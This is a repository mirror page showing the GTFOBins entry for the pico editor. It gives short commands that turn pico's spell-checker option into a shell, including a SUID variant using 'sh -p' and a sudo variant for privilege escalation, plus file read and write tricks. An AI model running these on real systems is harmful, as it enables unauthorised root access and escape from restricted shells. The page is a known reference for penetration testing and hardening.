This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-07 04:05:04 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
7f00970f59f96fc308bc0fe9b350e0d8877b7c16
GTFOBins.github.io
/
_gtfobins
/
pico.md
Andrea Cardaci
7c0fa85a66
Make nano/pico execute-interactive by using exec
2018-09-06 21:36:20 +02:00
587 B
Raw
Blame
History
functions
functions
execute-interactive
file-write
file-read
suid-enabled
sudo-enabled
code
TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF pico -s $TF /etc/hosts ^T
code
pico file_to_write DATA ^O
code
pico file_to_read
code
TF=$(mktemp) echo 'exec sh -p' > $TF chmod +x $TF ./pico -s $TF /etc/hosts ^T
code
TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF sudo pico -s $TF /etc/hosts ^T
Reference in New Issue
View Git Blame
Copy Permalink